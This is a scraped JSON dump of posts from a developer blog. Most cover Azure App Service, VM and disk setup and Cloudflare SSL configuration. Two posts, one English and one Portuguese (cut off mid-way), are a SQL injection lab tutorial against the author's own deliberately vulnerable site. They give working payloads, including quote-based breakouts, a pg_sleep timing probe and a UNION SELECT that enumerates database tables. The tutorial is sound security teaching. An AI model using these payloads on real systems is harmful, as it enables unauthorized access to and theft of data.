class=\"p\">{<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">    <span class=\"k\">return<\/span> <span class=\"n\">Path<\/span><span class=\"p\">.<\/span><span class=\"n\">GetFileNameWithoutExtension<\/span><span class=\"p\">(<\/span><span class=\"n\">path<\/span><span class=\"p\">);<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"p\">}<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"cs\">\/\/\/<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"cs\">\/\/\/ Get file name without extension<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"cs\">\/\/\/<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"kd\">static<\/span> <span class=\"kt\">string<\/span> <span class=\"n\">GetFileName<\/span><span class=\"p\">(<\/span><span class=\"n\">FileInfo<\/span> <span class=\"n\">fileInfo<\/span><span class=\"p\">)<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"p\">{<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">    <span class=\"k\">return<\/span> <span class=\"n\">Path<\/span><span class=\"p\">.<\/span><span class=\"n\">GetFileNameWithoutExtension<\/span><span class=\"p\">(<\/span><span class=\"n\">fileInfo<\/span><span class=\"p\">.<\/span><span class=\"n\">Name<\/span><span class=\"p\">);<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"p\">}<\/span>\n<\/span><\/span><\/code><\/pre><\/div>","title":"Getting the file name without extension in C# - #TIP"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/az-203\/","section":"Tags","summary":"","title":"AZ-203"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/microsoft-course\/","section":"Tags","summary":"","title":"Microsoft-Course"},{"content":"Yet Another AZ-203 Microsoft Official Course Delivered.\nAnother AZ-203 official Microsoft course delivered with success! Class members feedback was great. And I loved to make over 22 new colleagues these two weeks.\nI should say, this course is awesome. The level of topics is at beginning easy, them going to middle level and a lot of times pretty hard! :)\nPs.: Mostly as online class members! Over 32 students online.\nGo Green Tecnologia!\n","date":"January 21, 2020","permalink":"https:\/\/rmauro.dev\/az203-official-course-delivered-yes\/","section":"Posts","summary":"<p>Yet Another AZ-203 Microsoft Official Course Delivered.<\/p>\n<p>Another AZ-203 official Microsoft course delivered with success! Class members feedback was great. And I loved to make over 22 new colleagues these two weeks.<\/p>\n<p>\n\n\n\n\n\n\n  \n  \n<figure><img src=\"https:\/\/res-1.cloudinary.com\/ht54oxr6q\/image\/upload\/q_auto\/v1\/ghost-blog-images\/1fa28e72-a883-4f88-82aa-9c841734198f.webp\" alt=\"\" class=\"mx-auto my-0 rounded-md\" \/>\n<\/figure>\n<\/p>\n<p>\n\n\n\n\n\n\n  \n  \n<figure><img src=\"https:\/\/res-2.cloudinary.com\/ht54oxr6q\/image\/upload\/q_auto\/v1\/ghost-blog-images\/801a16eb-63aa-4a84-b520-c993d753d551.webp\" alt=\"\" class=\"mx-auto my-0 rounded-md\" \/>\n<\/figure>\n<\/p>\n<p>I should say, this course is awesome. The level of topics is at beginning easy, them going to middle level and a lot of times pretty hard! :)<\/p>\n<p>Ps.: Mostly as online class members! Over 32 students online.<\/p>","title":"Yet Another AZ-203 Microsoft Official Course Delivered."},{"content":"# generate a unique name and store as a shell variable webappname=mywebapp$RANDOM # create a resource group az group create --location westeurope --name myResourceGroup # create an App Service plan az appservice plan create --name $webappname --resource-group myResourceGroup --sku FREE # create a Web App az webapp create --name $webappname --resource-group myResourceGroup --plan $webappname # store a repository url as a shell variable gitrepo=https:\/\/github.com\/Azure-Samples\/php-docs-hello-world # deploy code from a Git repository az webapp deployment source config --name $webappname --resource-group myResourceGroup --repo-url $gitrepo --branch master --manual-integration # print out the FQDN for the Web App echo http:\/\/$webappname.azurewebsites.net ","date":"January 8, 2020","permalink":"https:\/\/rmauro.dev\/create-azure-app-service-though-az-cli\/","section":"Posts","summary":"<div class=\"highlight\"><pre tabindex=\"0\" class=\"chroma\"><code class=\"language-bash\" data-lang=\"bash\"><span class=\"line\"><span class=\"cl\"><span class=\"c1\"># generate a unique name and store as a shell variable<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"nv\">webappname<\/span><span class=\"o\">=<\/span>mywebapp<span class=\"nv\">$RANDOM<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"c1\"># create a resource group<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">az group create --location westeurope --name myResourceGroup\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"c1\"># create an App Service plan<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">az appservice plan create --name <span class=\"nv\">$webappname<\/span> --resource-group myResourceGroup --sku FREE\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"c1\"># create a Web App<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">az webapp create --name <span class=\"nv\">$webappname<\/span> --resource-group myResourceGroup --plan <span class=\"nv\">$webappname<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"c1\"># store a repository url as a shell variable<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"nv\">gitrepo<\/span><span class=\"o\">=<\/span>https:\/\/github.com\/Azure-Samples\/php-docs-hello-world\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"c1\"># deploy code from a Git repository<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\">az webapp deployment <span class=\"nb\">source<\/span> config --name <span class=\"nv\">$webappname<\/span> --resource-group myResourceGroup --repo-url <span class=\"nv\">$gitrepo<\/span> --branch master --manual-integration\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"c1\"># print out the FQDN for the Web App<\/span>\n<\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"nb\">echo<\/span> http:\/\/<span class=\"nv\">$webappname<\/span>.azurewebsites.net\n<\/span><\/span><\/code><\/pre><\/div>","title":"Create Azure App Service though AZ Cli"},{"content":"Quick Configuration #Getting the public Ip #Get-AzPublicIpAddress -ResourceGroupName &#34;demo003&#34; | Select &#34;IpAddress&#34; Full Configured Virtual Machine #Getting the public Ip #Get-AzPublicIpAddress -ResourceGroupName &#34;demo004&#34; | Select &#34;IpAddress&#34; Removing deployment #Remove-AzResourceGroup -Name demo003 Remove-AzResourceGroup -Name demo004 ","date":"January 3, 2020","permalink":"https:\/\/rmauro.dev\/create-azure-virtual-machine-using-powershell\/","section":"Posts","summary":"<h2 id=\"quick-configuration\" class=\"relative group\">Quick Configuration <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#quick-configuration\" aria-label=\"Anchor\">#<\/a><\/span><\/h2><h2 id=\"getting-the-public-ip\" class=\"relative group\">Getting the public Ip <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#getting-the-public-ip\" aria-label=\"Anchor\">#<\/a><\/span><\/h2><div class=\"highlight\"><pre tabindex=\"0\" class=\"chroma\"><code class=\"language-fallback\" data-lang=\"fallback\"><span class=\"line\"><span class=\"cl\">Get-AzPublicIpAddress -ResourceGroupName &#34;demo003&#34; | Select &#34;IpAddress&#34;\n<\/span><\/span><\/code><\/pre><\/div><h2 id=\"full-configured-virtual-machine\" class=\"relative group\">Full Configured Virtual Machine <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#full-configured-virtual-machine\" aria-label=\"Anchor\">#<\/a><\/span><\/h2><h2 id=\"getting-the-public-ip-1\" class=\"relative group\">Getting the public Ip <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#getting-the-public-ip-1\" aria-label=\"Anchor\">#<\/a><\/span><\/h2><div class=\"highlight\"><pre tabindex=\"0\" class=\"chroma\"><code class=\"language-fallback\" data-lang=\"fallback\"><span class=\"line\"><span class=\"cl\">Get-AzPublicIpAddress -ResourceGroupName &#34;demo004&#34; | Select &#34;IpAddress&#34;\n<\/span><\/span><\/code><\/pre><\/div><h2 id=\"removing-deployment\" class=\"relative group\">Removing deployment <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#removing-deployment\" aria-label=\"Anchor\">#<\/a><\/span><\/h2><div class=\"highlight\"><pre tabindex=\"0\" class=\"chroma\"><code class=\"language-fallback\" data-lang=\"fallback\"><span class=\"line\"><span class=\"cl\">Remove-AzResourceGroup -Name demo003\n<\/span><\/span><span class=\"line\"><span class=\"cl\">Remove-AzResourceGroup -Name demo004\n<\/span><\/span><\/code><\/pre><\/div>","title":"Create Azure Virtual Machine Using PowerShell"},{"content":"Managed disks # The Azure platform manages the disk and the backing storage You don&rsquo;t have to worry about storage account limits and thresholds Unmanaged disks # You manually create and manage virtual hard disks (VHDs) in your Storage account You will need to consider account throughput and capacity limits when using this model Managed disks - Managed disks are the newer and recommended disk storage model. They elegantly solve this complexity by putting the burden of managing the storage accounts onto Azure. You specify the size of the disk, which can be up to 4 terabytes (TB), and Azure creates and manages both the disk and the storage. You don&rsquo;t have to worry about storage account limits, which makes managed disks easier to scale out than managed discs.\nUnmanaged disks - With unmanaged disks, you\u2019re responsible for the storage accounts that hold the virtual hard disks (VHDs) that correspond to your VM disks. You pay the storage account rates for the amount of space you use. A single storage account has a fixed-rate limit of 20,000 input\/output (I\/O) operations per second. This means that a storage account is capable of supporting 40 standard VHDs at full utilization. If you need to scale out with more disks, then you&rsquo;ll need more storage accounts, which can get complicated.\nDisk Types in Azure #Ultra disk #Azure ultra disks deliver high throughput, high IOPS, and consistent low latency disk storage for Azure IaaS VMs.\nPremium SSD #Azure premium SSDs deliver high-performance and low-latency disk support for virtual machines (VMs) with input\/output (IO)-intensive workloads.\nStandard SSD #Azure standard SSDs are a cost-effective storage option optimized for workloads that need consistent performance at lower IOPS levels.\nStandard HDD #Azure standard HDDs deliver reliable, low-cost disk support for VMs running latency-insensitive workloads.\nCheckout the official disk comparison\n","date":"January 3, 2020","permalink":"https:\/\/rmauro.dev\/azure-storage-disks\/","section":"Posts","summary":"<h2 id=\"managed-disks\" class=\"relative group\">Managed disks <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#managed-disks\" aria-label=\"Anchor\">#<\/a><\/span><\/h2><ul>\n<li>The Azure platform manages the disk and the backing storage<\/li>\n<li>You don&rsquo;t have to worry about storage account limits and thresholds<\/li>\n<\/ul>\n<h2 id=\"unmanaged-disks\" class=\"relative group\">Unmanaged disks <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#unmanaged-disks\" aria-label=\"Anchor\">#<\/a><\/span><\/h2><ul>\n<li>You manually create and manage virtual hard disks (VHDs) in your Storage account<\/li>\n<li>You will need to consider account throughput and capacity limits when using this model<\/li>\n<\/ul>\n<p><strong>Managed disks<\/strong> - Managed disks are the newer and recommended disk storage model. They elegantly solve this complexity by putting the burden of managing the storage accounts onto Azure. You specify the size of the disk, which can be up to 4 terabytes (TB), and Azure creates and manages both the disk and the storage. You don&rsquo;t have to worry about storage account limits, which makes managed disks easier to scale out than managed discs.<\/p>","title":"Azure Storage Disks - Managed and unmanaged disks"},{"content":"In this article we will set up Cloudflare as a reverse proxy and Azure Web Apps as a web service. Looking for the best security configuration that Cloudflare offers in the free tier.\nAt the end we will have the following configuration:\nCloudFlare as reverse proxy Azure Web App as a web service Valid SSL (green lock) Full trust SSL between Cloudflare and Azure Web Apps (Cloudflare validating server side certificate) Application Domains \/ (A Name) and https:\/\/rmauro.dev\/ (C Name) Our goal beyond valid SSL (green lock) is end-to-end encryption.\nEncryption between Cloudflare and the user and between Cloudflare and Azure Web App.\nPrerequisites # Cloudflare Account Azure Web Apps with application running (may be native blank of App Service) App Service Plan with minimum plan Basic OpenSSL installed Domain configured in Cloudflare Note: shared and free layers of Azure App Service Plan do not allow you to perform SSL configuration.\nKnowing the Environment # Blog Ghost running on the App Service and domain https: &lt;\/\/ghost-azure5ae4.azurewebsites.net&gt;\nWeb App Service Application\nCloudflare created\nSetting Up the Cloudflare Domain #First go to the Custom domains tab in Azure Web App and copy the web app IP.\nGo to Cloudflare and the DNS tab and configure as below.\nFirst Record Type A Name @ Target Web App IP Proxy status: DNS only Second Record Type C Name www Target @ Proxy status: DNS only Finally configure the TXT register.\nThe TXT record shows Azure that you own the domain you want to configure.\nAfter all set up we will delete this record.\nReady. We should have something like:\nSetting Up the Azure Web App Domain #We are ready to configure the Azure App Service domain.\nOpen the blade Custom domains Click Add custom domain Enter our domain in Custom domain Click on Validate Validate the domain We must perform the steps the main domain @ and the sub domain www.\nNote: For the main domain (A Name - rmauro.com.br) use the record type A record.\nFor the second domain (subdomain) (C Name - www.rmauro.com.br) use the record type C record\nAfter validated click Add custom domain\nWe should have something like:\nWhen we try to access the site we should receive the red lock. This is because the digital certificate returned is from *.azurewebsites.net. and not ours - for now.\nSetting Up Certificates #In cloudflare we will use the Full (strict) digital certificate template. This makes Cloudflare validate the certificate when communicating with the server, in this case Azure Web App.\nOne more layer of verification, making our application even more secure.\nConfiguring encryption mode and generating keys #Open Cloudflare on the SSL\/TLS tab and the Overview subtab select the Full (strict) type.\nNow we will create the trusted digital certificate through Cloudflare and set it up in Azure.\nGo to the Origin Server tab and click Create certificate\nLeave the default settings.\nLet Cloudflare generate a private key and CSR Private Key RSA List of hostnames - as configured in the previous steps. Copy the text content to notepad and save as:\nOrigin Certificate -&gt; rmauro.com.br.pem Private Key -&gt; rmauro.com.br.key Configuring Azure Web App with Certificate #First let&rsquo;s generate the key in pfx format using openssl.\nOpen the command prompt and navigate to the key folder and run the following command:\n&gt; openssl pkcs12 -inkey rmauro.com.br.key -in rmauro.com.br.pem -export -out rmauro.com.br.pfx This command will prompt for passowrd. Enter a strong password for our key.\nIn the Azure portal navigate to the Custom domains subblade again. Now let&rsquo;s upload the digital certificate we just created and configure it with our domain (Green Lock).\nClick Add Binding Select the domain rmauro.com.br Click Upload PFX Certificate Select the newly generated PFX (rmauro.com.br.pfx) Enter the certificate password when prompted Okay, now we have the certificate to use on our site.\nNow select Cloudflare Origin Certificate and TLS\/SSL Type - SNI SSL and click Add Binding.\nDo the same for the www subdomain.\nWe should have something like:\nCloudflare Enabled as DNS and Proxy #Go back to Cloudflare and configure Proxy DNS for the domains.\nAll done. Green lock and end-to-end encryption using Full (strict) cryption of Cloudflare.\nI hope you guys enjoy it. Share with your friends.\n","date":"December 15, 2019","permalink":"https:\/\/rmauro.dev\/azure-app-service-and-cloudflare-with-full-ssl-strict\/","section":"Posts","summary":"<p>In this article we will set up Cloudflare as a reverse proxy and Azure Web Apps as a web service. Looking for the best security configuration that Cloudflare offers in the free tier.<\/p>\n<p>At the end we will have the following configuration:<\/p>\n<ul>\n<li>CloudFlare as reverse proxy<\/li>\n<li>Azure Web App as a web service<\/li>\n<li>Valid SSL (green lock)<\/li>\n<li>Full trust SSL between Cloudflare and Azure Web Apps (Cloudflare validating server side certificate)<\/li>\n<li>Application Domains <em>\/<\/em> (A Name) and <em><a href=\"https:\/\/rmauro.dev\/\" target=\"_blank\" rel=\"noreferrer\">https:\/\/rmauro.dev\/<\/a><\/em> (C Name)<\/li>\n<\/ul>\n<p>Our goal beyond valid SSL (green lock) is end-to-end encryption.<br>\nEncryption between Cloudflare and the user and between Cloudflare and Azure Web App.<\/p>","title":"Azure App Service and Cloudflare with Full SSL (Strict)"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/websecurity\/","section":"Tags","summary":"","title":"Websecurity"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/hack\/","section":"Tags","summary":"","title":"Hack"},{"content":"First, do you know (or remember) what SQL Injection is? #(para vers\u00e3o em portugu\u00eas)\nAccording to OWASP.org (https:\/\/www.owasp.org\/index.php\/SQL%5FInjection).\nA SQL injection attack consists of insertion or &ldquo;injection&rdquo; of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data.\nThat is, a web service technique invasion through SQL commands.As long as the web service (website, webservice, REST API, amoung others) is susceptible to the SQL Injection attack, you can execute unforeseen SQL commands on the system.\nFor example, we can access the system user table and get information not covered by the API.\nNote: Even today we can find this kind of glitch in web services (websites and web services)! : (\nOur lab (site that failed on purpose) #https:\/\/rmauro-failure.herokuapp.com\/\nPlease note: Understand that run this attack is against the law. Don&rsquo;t do it in the real world unless you are hired for it (white hat hacker), even for study purposes.\nWhat we are doing here is a test on my test site, which I produced for this purpose.\nIn that case we can :)\nOK? You are free to run the tests on this site.\nGetting familiar with the vulnerable site #Open site https:\/\/rmauro-failure.herokuapp.com\/\nThis is the website that we are going to work on, in the text box (enter a product name) is where we can search by product name and also perform our attack.\nATTACK!!! GO, GO, GO.\nStudying the rmauro-failure System\nFirst enter in the search field the value Hammer and search.\nLet&rsquo;s think for a moment and try to understand how it works behind the scenes - * code behind * if you allow me.\nThe system collects the entered value, Hammer, the search field; Send to the trainer, or concatenator, of SQL by concatenating the String sent with the rest of the query; When formed, the SQL command is sent to the database, any relational database; The database processes your request and returns to the program with the result; Once executed by the database, the program parses the result to object (s) in memory, processes it and sends it to the caller, in this case the screen; Browser shows the return (HTML) on the screen. This is the basic flow of the system. Simple, right?\nHammer time - Time to attack the system #First let&rsquo;s run some tests.\nEnter in the search field the value &rsquo; (single quotes) and hit the search button, Search. The result should be an red error like this. Perfect!\nThis means that the system is dynamically assembling Query SQL without any handling of the input parameters.\nLet&rsquo;s think a little. What will be the query generated and sent to the database?\nSELECT ? ? ? FROM ? WHERE ? &#39;&#39;&#39; Something close to this that caused the explosion!\nWe do not know which table is used or the table fields, but we do know what the basic structure of a SQL SELECT command looks like.\nLet&rsquo;s explore a little more #Now test the search field with mmer.\nNote that there was return, then we can infer that the query is something like.\nSELECT ? FROM ? WHERE ? LIKE &#39;%mmer%&#39; We came to the conclusion that we have control over what we write in the final part of query, just where mmer goes, the other parts of the command we cannot control.\nBut this small part can cause disaster.\nFinding out which database we are working on #1- Our query is formed by &hellip; ok, we already know that.\nSELECT ? FROM ? WHERE ? LIKE &#39;%mmer%&#39; 2- Now let&rsquo;s modify it to &hellip;\nSELECT ? FROM ? WHERE ? LIKE &#39;%&#39;;--%&#39; This will cause the SQL command to end, proving that we can modify it as we wish.\n3- Let&rsquo;s try it out. Type in the search field ';--\nIncreasingly interesting. Now we got all database records (same as before) with the new query.\n4 - Cool, let&rsquo;s try to find out which is the database in question (MySql, Sql Server, Oracle, PostgreSql, etc). To find out let&rsquo;s execute a function that only works on a specific database (nothing standand like SELECT \/ INSERT or DELETE). Something like the Sleep function.\nDon&rsquo;t forget that this system was designed by me, so I know the database is PostgreSql, so let&rsquo;s go straight to the point and execute the pg_sleep() (sleep from PostgreSql).\nSo we do not waste time testing various possibilities for various databases.\n5 - Execute in the search field the value mmer%';SELECT pg_sleep(10);--\nSELECT ? FROM ? WHERE ? LIKE &#39;%mmer%&#39;;SELECT pg_sleep(10);--%&#39; Note that it takes precisely 10 seconds to return the answer. Perfect!\nBut what if it&rsquo;s not working?\nEasy, just swap PostgreSql&rsquo;s sleep function for a specific one from another database until you find the database we&rsquo;re working on. In this case there is no magic.\nFinding out which tables exist in the database #Cool so far, isn&rsquo;t it ?! What else can we do with our query? Everything, or almost everything &hellip;\nSELECT ? FROM ? WHERE ? LIKE &#39;%mmer%&#39;;SELECT pg_sleep(10);--%&#39; This is the last query we ran. Think now about the possibilities.\nSince we know the database is PostgreSql. Now let&rsquo;s try to find tables.\nFirst we need to understand the SQL return structure, the columns.\nOur feedback should be around three columns.\nThree columns because the product shown on the screen contains an Id, Name and a Price.\n(3 | Hammer Drills | 22.3)\nOk, ok. It may not be exactly three columns, but let&rsquo;s try with 3 for now (remember I designed the system).\nNow let&rsquo;s use the UNION command from SQL. This allows us to merge two results into a single result or Dataset.\nLet&rsquo;s use this to return product data and something that interests us.\nSELECT ?, ?, ? FROM ? WHERE ? LIKE &#39;%mmer%&#39; Let&rsquo;s modify our query to use UNION statment and bring the values 1, 2, 3.\nSELECT ?, ?, ? FROM ? WHERE ? LIKE &#39;%mmer%&#39; UNION SELECT &#39;1&#39;, &#39;2&#39;, &#39;3&#39;;-- This yielded the feedback we already know plus a row containing the values &ldquo;1&rdquo;, &ldquo;2&rdquo; and &ldquo;3&rdquo;, also validating our three column hypothesis.\nLet&rsquo;s move on to the ** tables ** now.\nSELECT ?, ?, ? FROM ? WHERE ? LIKE &#39;%mmer%&#39; UNION SELECT &#39;1&#39;, &#39;2&#39;, &#39;3&#39;;-- Our current command.\nThe command below is able to return the Schema tables from the PostgreSql database.\nSELECT table_name FROM information_schema.tables WHERE table_schema=&#39;public&#39; *Expected outcome. System Tables *\nLet&rsquo;s introduce our Query.\nSELECT table_name FROM information_schema.tables WHERE table_schema=&#39;public&#39; Put in the search field mmer%'UNION SELECT &quot;table_name&quot;, &quot;table_schema&quot;, &quot;table_catalog&quot; FROM information_schema.tables WHERE table_schema='public'--\nCreating the QUERY:\nselect ?, ?, ? from ? UNION SELECT &#34;table_name&#34;, &#34;table_catalog&#34;, &#34;table_schema&#34; FROM information_schema.tables WHERE table_schema=&#39;public&#39; We found the Product and Users tables.\nNow it&rsquo;s your turn. From here you should only extrapolate and explore the possibilities.\nWebsite Source Code # https:\/\/github.com\/bootcamp-bbq\/SqlInjection-Lab.git\nReferences Used: # https:\/\/www.owasp.org\/index.php\/SQL%5FInjection\nhttps:\/\/youtu.be\/ciNHn38EyRc\n","date":"December 14, 2019","permalink":"https:\/\/rmauro.dev\/practice-of-sql-injection\/","section":"Posts","summary":"<h2 id=\"first-do-you-know-or-remember-what-sql-injection-is\" class=\"relative group\">First, do you know (or remember) what SQL Injection is? <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#first-do-you-know-or-remember-what-sql-injection-is\" aria-label=\"Anchor\">#<\/a><\/span><\/h2><p><em>(para vers\u00e3o em <a href=\"https:\/\/rmauro.dev\/sql-injection-na-pratica\/\" target=\"_blank\" rel=\"noreferrer\">portugu\u00eas<\/a>)<\/em><\/p>\n<p>According to OWASP.org (<a href=\"https:\/\/www.owasp.org\/index.php\/SQL%5FInjection\" target=\"_blank\" rel=\"noreferrer\">https:\/\/www.owasp.org\/index.php\/SQL%5FInjection<\/a>).<\/p>\n<blockquote>\n<p>A SQL injection attack consists of insertion or &ldquo;injection&rdquo; of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data.<\/p>\n<\/blockquote>\n<p>That is, a web service technique invasion through SQL commands.As long as the web service (<em>website<\/em>, <em>webservice<\/em>, <em>REST API<\/em>, amoung others) is susceptible to the SQL Injection attack, you can execute unforeseen SQL commands on the system.<\/p>","title":"Practice of SQL Injection"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/owasp\/","section":"Tags","summary":"","title":"Owasp"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/pt\/","section":"Tags","summary":"","title":"Pt"},{"content":"Primeiro, voc\u00ea sabe (ou lembra-se) o que \u00e9 SQL Injection? #(for english version)\nSegundo OWASP.org (https:\/\/www.owasp.org\/index.php\/SQL%5FInjection).\nA SQL injection attack consists of insertion or &ldquo;injection&rdquo; of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data.\nOu seja, \u00e9 uma t\u00e9cnica de invas\u00e3o de servi\u00e7os web atrav\u00e9s de comandos SQL.\nDesde que o servi\u00e7o web (website, webservice, REST API, etc) esteja sucet\u00edvel ao ataque SQL Injection, voc\u00ea consegue executar comandos SQL n\u00e3o previstos no sistema.\nPor exemplo, podemos acessar a tabela de usu\u00e1rios do sistema e obter informa\u00e7\u00f5es n\u00e3o previstas pela API.\nNota: Mesmo nos dias de hoje podemos encontrar em servi\u00e7os web (sites e web services) esse tipo de falha! :(\nO nosso laborat\u00f3rio (site com falha proposital) # https:\/\/rmauro-failure.herokuapp.com\/\nAten\u00e7\u00e3o: Entenda que executar esse ataque \u00e9 contra a lei. N\u00e3o fa\u00e7a isso no mundo real a menos que voc\u00ea seja contratado para isso (white hat hacker), mesmo para fins de estudo.\nO que estamos fazendo aqui \u00e9 um teste no meu site de teste, que produzi para este fim.\nNesse caso podemos :) - Manda v\u00ea!\nOk? Voc\u00ea est\u00e1 liberado para executar os testes neste site.\nSe familiarizando com o site vulner\u00e1vel #Abra o site https:\/\/rmauro-failure.herokuapp.com\/\nEste \u00e9 o website que vamos trabalhar, na caixa de texto (enter a product name) \u00e9 onde podemos realizar buscas por nome de produto e tamb\u00e9m executar nosso ataque.\nATACAR!!! GO, GO, GO.\nEstudando o sistema rmauro-failure #Primeiro insira no campo de busca o valor Hammer e fa\u00e7a uma busca.\nVamos pensar um pouco e tentar entender como funciona nos bastidores - code behind se me permitem.\nO sistema coleta o valor informado, Hammer, do campo de busca; Envia para o formador, ou concatenador, de SQL concatenando a String enviada com o resto da query; Quando formado, o comando SQL \u00e9 enviado para ao banco de dados, qualquer banco de dados relacional; O banco de dados processa sua solicita\u00e7\u00e3o e retorna ao programa com o resultado; Ap\u00f3s executado pelo banco de dados, o programa faz o parse do resultado para objeto(s) em mem\u00f3ria, processa e envia para o chamador, neste caso a tela; O Browser mostra o retorno (HTML) na tela. Este \u00e9 o fluxo b\u00e1sico do sistema. Simples, certo?\nHammer time - hora de atacar o sistema #Primeiro vamos executar alguns testes.\nColoque no campo de busca o valor ' (aspas simples) e aperte o bot\u00e3o de busca, Search. O resultado deve ser um erro como este. Perfeito!\nIsso significa que o sistema est\u00e1 montando a Query SQL dinamicamente sem nenhum tratamento nos par\u00e2metros de entrada.\nVamos pensar um pouco. Qual ser\u00e1 a query gerada e enviada ao banco de dados?\nSELECT ? ? ? FROM ? WHERE ? &#39;&#39;&#39; Algo pr\u00f3ximo disso que causou a explos\u00e3o!\nN\u00e3o conhecemos qual a tabela utilizada ou os campos da tabela, por\u00e9m sabemos como \u00e9 a estrutura b\u00e1sica de um comando SQL SELECT.\nVamos explorar um pouco mais # Agora teste o campo de busca com mmer. Perceba que houve retorno, ent\u00e3o podemos inferir que a query \u00e9 algo como.\nSELECT ? FROM ? WHERE ? LIKE &#39;%mmer%&#39; Chegamos a conclus\u00e3o que possu\u00edmos controle sobre o que escrito na parte final da query, logo onde vai o mmer, as demais partes do comando n\u00e3o podemos controlar.\nMas essa pequena parte pode causar desastre.\nDescobrindo qual o banco de dados estamos trabalhando #1- A nossa query \u00e9 formado por&hellip; ok, j\u00e1 sabemos disso.\nSELECT ? FROM ? WHERE ? LIKE &#39;%mmer%&#39; 2- Agora vamos modific\u00e1-la para&hellip;\nSELECT ? FROM ? WHERE ? LIKE &#39;%&#39;;--%&#39; Isso ir\u00e1 causar o termino do comando SQL, provando que podemos modific\u00e1-lo conforme quisermos.\n3- Vamos testar. Escreva no campo de busca ';--\nCada vez mais interessante. Agora obtivemos todos os registros da base (igual a antes) com a nova query.\n4 - Legal, vamos tentar descobrir qual \u00e9 o banco de dados em quest\u00e3o (MySql, Sql Server, Oracle, PostgreSql, etc). Para descobrimos vamos executar uma fun\u00e7\u00e3o que s\u00f3 funciona em um banco de dados espec\u00edfico (algo n\u00e3o standand como SELECT \/ INSERT ou DELETE). Algo como a fun\u00e7\u00e3o Sleep.\nN\u00e3o se esque\u00e7a que esse sistema foi projetado por mim, logo eu sei que o banco de dados \u00e9 PostgreSql, ent\u00e3o vamos executar a fun\u00e7\u00e3o pg_sleep() (sleep do PostgreSql.\nAssim n\u00e3o perdemos tempo testando varias possiblidades para diversos bancos de dados.\n5 - Execute no campo de busca o valor mmer%';SELECT pg_sleep(10);--\nSELECT ? FROM ? WHERE ? LIKE &#39;%mmer%&#39;;SELECT pg_sleep(10);--%&#39; Perceba que demora precisamente 10 segundos para retornar a resposta. Perfeito!\nMas e se n\u00e3o estiver funcionado?\nF\u00e1cil, s\u00f3 trocar a fun\u00e7\u00e3o sleep do PostgreSql por outra especifico de outro banco de dados at\u00e9 encontrar o banco que estamos trabalhando. Nesse caso n\u00e3o tem m\u00e1gica.\nDescobrindo quais tabelas existem no banco de dados #Legal at\u00e9 aqui, n\u00e3o 